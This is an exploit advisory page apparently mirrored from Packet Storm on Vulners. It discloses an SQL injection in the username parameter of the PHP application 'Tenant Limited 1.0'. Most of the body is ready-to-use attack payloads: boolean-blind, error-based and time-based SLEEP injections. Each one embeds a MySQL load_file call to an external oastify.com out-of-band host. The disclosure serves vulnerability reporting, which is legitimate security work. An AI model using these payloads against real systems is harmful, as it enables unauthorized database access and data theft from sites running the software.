Lucene search
K

Tenant Limited 1.0 SQL Injection

🗓️ 20 May 2024 00:00:00Reported by nu11secur1tyType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 326 Views

The username parameter is vulnerable to SQL injection attacks. An attacker can inject a payload that calls MySQL's load_file function with a UNC file path, allowing them to retrieve system information

Code
`## Titles: TENANT-LIMITED-1.0 SQLi  
## Author: nu11secur1ty  
## Date: 05/20/2024  
## Vendor: https://mayurik.com/  
## Software:  
https://www.sourcecodester.com/php/17375/best-courier-management-system-project-php.html  
## Reference: https://portswigger.net/web-security/sql-injection  
  
## Description:  
The username parameter appears to be vulnerable to SQL injection attacks.  
The payload '+(select load_file('\\\\  
h7pme8qbgdftj9mizgk6u4aj0a63uuill9dw3ks.oastify.com\\lmh'))+' was submitted  
in the username parameter. This payload injects a SQL sub-query that calls  
MySQL's load_file function with a UNC file path that references a URL on an  
external domain. The application interacted with that domain, indicating  
that the injected SQL query was executed. The attacker can get all  
information from the system by using this vulnerability!  
  
STATUS: HIGH- Vulnerability  
  
  
[+]Exploits:  
- SQLi Multiple:  
```mysql  
---  
Parameter: username (POST)  
Type: boolean-based blind  
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)  
Payload: username=nlWcgulD'+(select load_file('\\\\  
h7pme8qbgdftj9mizgk6u4aj0a63uuill9dw3ks.oastify.com\\lmh'))+'' OR NOT  
7856=7856 OR 'qylg'='WmKA&password=q7L!w3j!P7  
  
Type: error-based  
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP  
BY clause (FLOOR)  
Payload: username=nlWcgulD'+(select load_file('\\\\  
h7pme8qbgdftj9mizgk6u4aj0a63uuill9dw3ks.oastify.com\\lmh'))+'' AND (SELECT  
5737 FROM(SELECT COUNT(*),CONCAT(0x716a767071,(SELECT  
(ELT(5737=5737,1))),0x7171786b71,FLOOR(RAND(0)*2))x FROM  
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) OR 'bruW'='pbdw&password=q7L!w3j!P7  
  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: username=nlWcgulD'+(select load_file('\\\\  
h7pme8qbgdftj9mizgk6u4aj0a63uuill9dw3ks.oastify.com\\lmh'))+'' AND (SELECT  
4762 FROM (SELECT(SLEEP(7)))iyAW) OR 'ryQj'='epQU&password=q7L!w3j!P7  
---  
```  
  
## Reproduce:  
[href](https://www.patreon.com/posts/tenant-limited-1-104585030)  
  
## Proof and Exploit:  
[href](https://www.nu11secur1ty.com/2024/05/tenant-limited-10-sqli.html)  
  
## Time spent:  
00:39:00  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 May 2024 00:00Current
7.4High risk
Vulners AI Score7.4
326